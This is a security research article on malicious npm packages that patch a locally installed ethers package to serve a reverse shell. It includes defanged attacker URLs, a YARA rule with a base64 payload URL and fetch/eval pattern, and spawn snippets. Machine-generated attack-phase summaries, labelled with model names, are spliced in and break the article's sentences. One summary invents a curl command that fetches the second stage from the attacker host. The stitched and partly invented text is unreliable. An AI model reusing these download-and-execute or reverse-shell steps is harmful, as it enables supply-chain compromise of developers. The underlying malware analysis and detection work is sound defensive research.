Malware found on npm infecting local package with reverse shell Lucija Valentić Unlike some other public repositories, the npm package repository is never really quiet. And, while there has been some decline in malware numbers between 2023 and 2024, this year's numbers don’t seem to continue that downward trend. Still, while RL has detected some interesting npm malware so far this year, none of it warranted a detailed writeup. Then March rolled around, and two very interesting packages were published on npm: ethers-provider2 and ethers-providerz. These were simple downloaders whose malicious payload was cleverly hidden, with a second stage that “patches” the legitimate npm package ethers, installed locally, with a new file containing the malicious payload. That patched file ultimately serves a reverse shell.
This approach reveals a high level of sophistication on the threat actor’s part that deserves some further analysis and exploration. ethers-provider2 delivers the malware The package ethers-provider2 was still available on npm at the time of publication. The package mirrors another, legitimate and widely-used npm package, ssh2, which has more than 350 million downloads and more than 1,600 dependent applications. The ethers-provider2 package contains the ssh2 source code, adding some malicious elements to it. So the whole package functions exactly how the ssh2 package would — with something extra. The package was easily detected by RL's Spectra platform, with telltale signs it contained malicious

Phase: Initial Access

• Technique: Software Supply Chain Compromise
• Procedure: The attacker publishes a malicious npm package (ethers-provider2) resembling a legitimate package (ssh2) to the npm repository.

Phase: Execution

• Technique: Malicious Package Execution
• Procedure: When installed, the package executes its added malicious elements alongside the original functionality of the ssh2 package.

Phase: Persistence

• Technique: Local Package Modification
• Procedure: The package includes a second stage that patches a legitimate locally installed npm package (ethers) by adding a new file containing the malicious payload.

Phase: Command and Control

• Technique: Reverse Shell
• Procedure: The patched file in the ethers package ultimately delivers a reverse shell to the attacker.

Phase: Impact

• Technique: Data Exfiltration (via Reverse Shell)
• Procedure: The reverse shell opens a communication channel for remote control and potential data exfiltration.

code. First, the file install.js had been modified to include a malicious payload downloading second stage malware from the domain hxxp[:]//5[.]199[.]166[.]1[:]31337/install. Upon installation, the install script install.js is executed and a second stage is downloaded to a temporary file and then executed. Immediately after that, the temporary file is deleted, removing any indication that anything happened, which was another sign the package is malicious, since this usually doesn’t happen in legitimate packages. As we looked at the second stage malware, things got really interesting. The malware goes into an infinite loop that checks if the legitimate npm package ethers is installed locally. If it is installed, or once it is installed, the second-stage malware springs into action: replacing one of its files, provider- jsonrpc.js, with a file that looks- and functions the same, but includes additional, malicious code that downloads the third-stage malware from hxxp[:]//5[.]199[.]166[.]1[:]31337/config and executes it. Figure 1: ethers-provider2’s second stage The second-stage malware also creates a file, loader.js, which writes code with the same functionality as the malicious code used to “patch” the ethers’ file, and then runs it. The third stage serves a reverse shell connecting to the threat actor’s server, which is accessed using an ssh client from ethers-provider2. This client functions in the same way as a client from a legitimate ssh2 package would, but it is modified to receive additional messages. That means that the connection opened with this client turns into a reverse shell once it receives a custom message from the server. This is true even if the ethers-provider2 package is removed from a compromised system: the client will still be used under certain circumstances, providing a degree of persistence for the attackers.

Phase: Initial Access

• Technique: Supply Chain Compromise
• Procedure: Modification of the install.js file to include malicious payload downloading from a malicious server.

Phase: Execution

• Technique: Script Execution
• Command: Execution of install.js to download and execute the second-stage malware from the remote server.

Phase: Defense Evasion

• Technique: File Deletion
• Procedure: The temporary file used for the second-stage malware is deleted after execution to remove evidence.

Phase: Discovery

• Technique: Software Discovery
• Procedure: Continuous check in an infinite loop for the presence of the legitimate npm package ethers.

Phase: Execution

• Technique: Script Execution
• Procedure: Replacement of provider-jsonrpc.js within ethers package with malicious code that downloads and executes third-stage malware.

Phase: Execution

• Technique: Additional Malicious Script Creation
• Command: Creation of loader.js file to write and execute code similar to the malicious patch.

Phase: Command and Control

• Technique: Reverse Shell
• Procedure: Third-stage malware establishes a reverse shell connection with the attacker's server.

Phase: Persistence

• Technique: SSH Client Modification
• Procedure: Custom ssh client from ethers-provider2 responds to specific commands, maintaining persistence even if the package is removed.

Figure 2: Reverse shell opened towards threat actors’ server Discussion While not as common as infostealers on the npm platform, downloaders are far from uncommon and are frequently encountered. However, this downloader is notable because of the exceptional strategies employed by the attackers to hide the malicious payload it delivered. These evasive techniques were more thorough and effective than we have observed in npm-based downloaders before. Specifically, once the malicious payload, ethers-provider2, was delivered, its removal wouldn’t necessarily remove its malicious functionality. Instead, it would remain hidden in another location. And if the package ethers-provider2 was present when the ethers package was removed and installed again, it would patch it again in the same way described previously. It is also important to mention once again that the malicious code was only put inside the locally installed npm package ethers, and that the official npm package ethers was not compromised in any way. I am (not) throwin’ away my shot The other package belonging to the same campaign, ethers-providerz had only three versions, and the

Phase: Initial Access

• Technique: Malicious Package Installation
• Procedure: The attacker delivers a malicious npm package called ethers-provider2 to the target system through a compromised or misleading installation process.

Phase: Execution

• Technique: Reverse Shell Execution
• Procedure: A reverse shell is opened towards the threat actor’s server once the malicious payload is executed.

Phase: Persistence

• Technique: File Persistence and Package Patching
• Procedure:
• The malicious functionality is hidden in another location, ensuring persistence even if the ethers-provider2 package is removed.
• If the ethers package is reinstalled, the presence of ethers-provider2 causes it to patch the ethers package again to maintain its malicious capability.

Phase: Defense Evasion

• Technique: Code Obfuscation and Package Manipulation
• Procedure: The malicious code is embedded within the locally installed ethers npm package, leaving the official npm package unaffected and evading detection.

last two were very similar to ethers-provider2; whereas the first one 1.16.0 looked more like a test version, with some parts that didn't work as the threat actor probably intended. The malicious payload was located in the install script install.js. It tries to “patch” several files of a legitimate locally installed npm package @ethersproject/providers in the same way ethers’ file provider-jsonrpc.js was patched. Which npm package was targeted for patching is speculative at this point, because the path to each file was written incorrectly, with the threat actor defining the scope, but not providing the name of the intended package. Figure 3: Malicious payload inside install.js script The RL research team also observed the malicious payload creating a malicious file, loader.js, in the folder node_modules, and executing it. The node_modules folder is where npm packages are stored by default once they are installed. The file loader.js downloads the second stage from hxxp[:]//5[.]199[.]166[.]1[:]31337/config. What's interesting about this is that there is a legitimate npm package called loader.js with more than 24 million downloads and 5,200 dependent applications.This suggests that, as with ssh2, the threat actor was looking to “patch” a common, legitimate, and locally-installed npm package with a nearly identical version containing malicious code. RL YARA rule helps detect ethers Detection of the malicious packages ethers-provider2 and ethers-providerz was the easy part. They had very low download counts and contained non-obfuscated malicious code downloading the second stage inside the install script. RL’s Spectra platform finds obfuscated or non-obfuscated — and clearly malicious code — lurking in install scripts by identifying behaviors and characteristics when scanning both open- source and commercial, closed-source binaries.
Despite the low download numbers, these packages are powerful and malicious. If their mission is successful, they will corrupt the locally installed package ethers and maintain persistence on compromised systems even if that package is removed.

Phase: Initial Access

• Technique: Trojanized Package Installation
• Procedure: The threat actor creates a malicious install.js script to patch files of a legitimate npm package @ethersproject/providers.

Phase: Persistence

• Technique: Malicious File Creation
• Procedure: The install.js script generates a file named loader.js in the node_modules directory.

Phase: Execution

• Technique: Script Execution
• Command: Executes loader.js to initiate download of the second stage payload.

Phase: Command and Control

• Technique: Remote Payload Fetching
• Procedure: loader.js downloads a second stage payload from hxxp[:]//5[.]199[.]166[.]1[:]31337/config.

Phase: Defense Evasion

• Technique: Package Manipulation
• Procedure: The threat actor uses package names similar to legitimate ones (ethers-provider2, ethers-providerz) to avoid detection.

As of the time of publication, the package ethers-providerz was removed from npm, probably by the package's author because it has no security holding package. Package ethers-provider2 is still on npm, but has been reported to the npm maintainers. To address the risks posed by these packages, RL developed a simple YARA rule to help in detecting whether locally installed package ethers was “patched” or not. Figure 4: Malicious part of the “patched” file YARA Rule rule npm_Downloader_InjectedMaliciousCode { meta: author = "ReversingLabs" source = "ReversingLabs" category = "MALWARE" description = "Yara rule that detects if there is a malicious payload injected in legitimate locally installed npm package ethers." strings: $decode_payload_url = "atob(atob(\"YUhSMGNEb3ZMelV1TVRrNUxqRTJOaTR4T2pNeE16TTNMMk52Ym1acFp3PT0=\"))" $fetch_payload = "fetch("
$execute_payload = "eval("

Phase: Discovery

• Technique: YARA Rule Deployment
• Procedure: Develop a YARA rule to detect a specific pattern in the npm package ethers that indicates a malicious payload.

Phase: Execution

• Technique: Malicious Code Injection
• Description: The injected code within the npm package ethers uses obfuscated base64 decoding to construct and execute a payload:
• Uses atob(atob("<Base64 Payload>")) to decode the URL.
• Utilizes fetch() to retrieve a payload from a remote source.
• Executes the retrieved payload using eval().

This approach enables detection and response teams to identify and mitigate the malicious code quickly by understanding its methodologies and structure.

condition: all of them } Even more packages? After this research was done, new packages were found that appear to be connected to this campaign: reproduction-hardhat and @theoretical123/providers. The former was a simple reverse shell that would connect to the IP address 5[.]199[.]166[.]1, and the latter was a package downloading a second stage from hxxp[:]//5[.]199[.]166[.]1[:]31337/config and impersonating a legitimate npm package @ethersproject/providers. Both have been removed from npm. Conclusion As RL noted in its 2025 Software Supply Chain Security Report, the scope of software supply chain risks is growing for both software producers and end-user organizations. While there was a drop in instances of malware discovered on open-source repositories like npm and PyPI in 2024, threat actors have not lost interest in promoting malicious packages to open-source developers. This latest campaign is evidence that the risk of downloading malware and compromising development environments and networks remains high, while novel ways of serving malicious payloads are emerging. The RL research team has already seen malicious packages serving malicious payloads that was in plain sight, obfuscated or cleverly hidden. Sometimes these packages are malicious by design. Other times, popular legitimate npm packages were hijacked and injected with malicious code. In these cases, there is usually a combination of approaches: the designed-malicious npm package injects a malicious payload into a legitimate and locally installed npm package, making it serve as a reverse shell. This approach makes it easier for the threat actor by reducing hurdles to hijacking a malicious open-source package. What is even more ominous with this current threat: Even if the malicious package ethers-provider2 is removed, the threat actors made sure their malicious functionality would persist. This highlights the importance of being alert to supply chain threats and attacks, since there are many malicious packages lurking on npm, serving malware in novel and not-so-novel ways. Indicators of Compromise (IOCs) Indicators of Compromise (IoCs) refer to forensic artifacts or evidence related to a security breach or unauthorized activity on a computer network or system. IOCs play a crucial role in cybersecurity investigations and cyber incident response efforts, helping analysts and cybersecurity professionals identify and detect potential security incidents. The following IOCs were collected as part of RL's investigation of this malicious software supply chain campaign.

Phase: Initial Access

• Technique: Supply Chain Compromise via Malicious npm Package
• Procedure: The threat actor published malicious npm packages such as reproduction-hardhat and @theoretical123/providers.

Phase: Execution

• Technique: Reverse Shell Execution

• Procedure: The reproduction-hardhat package included a reverse shell that connected to a specific attacker-controlled IP address.

• Technique: Malicious File Download

• Command: Inferentially, a command similar to curl hxxp[:]//5[.]199[.]166[.]1[:]31337/config -o second-stage.sh would be used by the @theoretical123/providers package for downloading the second stage payload.

Phase: Defense Evasion and Persistence

• Technique: Evasion Through Package Impersonation

• Procedure: The threat actor disguised malicious code by impersonating legitimate npm packages like @ethersproject/providers.

• Technique: Code Injection for Persistence

• Procedure: Malicious npm packages injected payloads into legitimate, locally installed npm packages, enabling persistence beyond the removal of the malicious package itself.

Model: gemini-2.0-flash

Phase: Initial Access & Execution

• Technique: Malicious npm Package Installation
• Procedure: The attacker uploads a malicious npm package (ethers-provider2/ethers-providerz) to the npm registry.
• Procedure: A developer installs the malicious npm package using npm install ethers-provider2 or npm install ethers-providerz.

Phase: Persistence & Execution

• Technique: Post-Installation Script Execution
• Procedure: The install script (install.js) of the malicious npm package is executed upon installation.
• Procedure: The install script downloads and executes a second-stage payload: hxxp[:]//5[.]199[.]166[.]1[:]31337/install. The downloaded script is saved to a temporary file and then executed, then the temporary file is deleted to avoid detection.
• Procedure: Checks if the legitimate npm package ethers is installed locally in an infinite loop using fs.existsSync("../ethers/lib.commonjs/providers/provider-jsonrpc.js").

Phase: Code Injection & Execution

• Technique: Code Patching/Injection
• Procedure: If ethers is installed, a second-stage malware replaces one of its files (provider-jsonrpc.js) with a modified version.
• Procedure: Creates loader.js file which writes code with functionality as the malicious code used to patch the ethers file, then runs it.
• Procedure: Downloads and executes the third-stage payload: hxxp[:]//5[.]199[.]166[.]1[:]31337/config

Phase: Reverse Shell

• Technique: Reverse Shell Establishment
• Procedure: The modified provider-jsonrpc.js establishes a reverse shell connection to the attacker's server, using an ssh client from ethers-provider2. This involves modified ssh client functions to receive custom commands from the server, facilitating the reverse shell operation.
• Command: node loader.js is used to execute loader.js which is the patched file.
• Command: cp.spawn('node', ['./loader.js'], { detached: true, stdio: 'ignore', }); is used to run loader.js in the background.

Phase: Command Execution

• Technique: Command Execution via Reverse Shell
• Procedure: The attacker sends commands via the reverse shell. The reverse shell uses child_process (Node.js module) to spawn the command and pipes stdin, stdout, and stderr.
• Command: cp.spawn(cmd, []); is used to execute arbitrary shell commands.

Model: gemini-2.5-flash-preview-05-20

Phase: Initial Access

• Technique: Supply Chain Compromise (Malicious Package Publication)
• Procedure: The threat actor publishes malicious npm packages (ethers-provider2, ethers-providerz, reproduction-hardhat, @theoretical123/providers) to the npm registry, impersonating legitimate and widely-used packages (ethers, ssh2, @ethersproject/providers) to trick users into installation.

Phase: Execution

• Technique: Software Deployment (npm package installation)
• Procedure: Upon installation of the malicious npm package, the install.js script embedded within the package is automatically executed by npm.
• Technique: Remote File Download and Execution (Stage 1)
• Procedure: The install.js script programmatically downloads a second-stage malicious payload.
• Technique: Programmatic Execution
• Command: node ./loader.js
• Options: The loader.js process is spawned as detached (detached: true) and its standard I/O streams are ignored (stdio: 'ignore') for stealth and persistence.
• Technique: Remote Script Execution (Stage 2)
• Procedure: The patched ethers or @ethersproject/providers file programmatically downloads additional JavaScript code (after base64 decoding the URL) and executes it using eval().
• Technique: Command and Scripting Interpreter (Arbitrary Command Execution)
• Procedure: The reverse shell receives arbitrary command strings from the Command and Control (C2) server and executes them programmatically.

Phase: Persistence

• Technique: File Replacement / Code Injection
• Procedure: The second-stage malware overwrites legitimate files (e.g., provider-jsonrpc.js) within locally installed npm packages (ethers, @ethersproject/providers) with modified versions containing malicious code.
• Technique: New Service/Daemon (Background Execution)
• Procedure: A malicious file (loader.js) is created in the node_modules directory and executed as a detached background process using Node.js.
• Technique: Account Manipulation (Modified Software)
• Procedure: A modified ssh2 client (part of ethers-provider2) maintains a persistent connection to the threat actor's server, which can be repurposed into a reverse shell upon receiving a specific custom message. This persistence remains even if the original malicious package is removed.
• Technique: Conditional Patching
• Procedure: If the legitimate ethers or @ethersproject/providers package is removed and reinstalled while the malicious package is still present, the patching mechanism will re-infect the newly installed legitimate package.

Phase: Defense Evasion

• Technique: Indicator Removal (Temporary File Deletion)
• Procedure: Temporary files downloaded and executed by the malware are deleted immediately after execution to remove forensic evidence.
• Technique: Process Tampering (Detached Process)
• Procedure: Malicious processes are executed as detached (detached: true) from their parent process and with standard I/O streams ignored (stdio: 'ignore'), making them harder to detect and terminate.
• Technique: Obfuscated Files or Information
• Procedure: Command and Control URLs and malicious payloads are encoded using base64 (atob()) to hinder direct analysis.

Phase: Command and Control

• Technique: Reverse Shell (SSH Client Abuse)
• Procedure: A modified SSH client within the malicious ethers-provider2 package establishes a reverse shell connection to the threat actor's server.
• Technique: Standard Input/Output Redirection
• Procedure: For commands executed via the reverse shell, standard input, output, and error streams are piped to/from the C2 session, allowing interactive command execution.
• Technique: Custom Command Handling
• Procedure: The C2 client implements specific handlers for commands like COMMAND_KILL (to destroy the connection) and COMMAND_CMD (to execute arbitrary commands).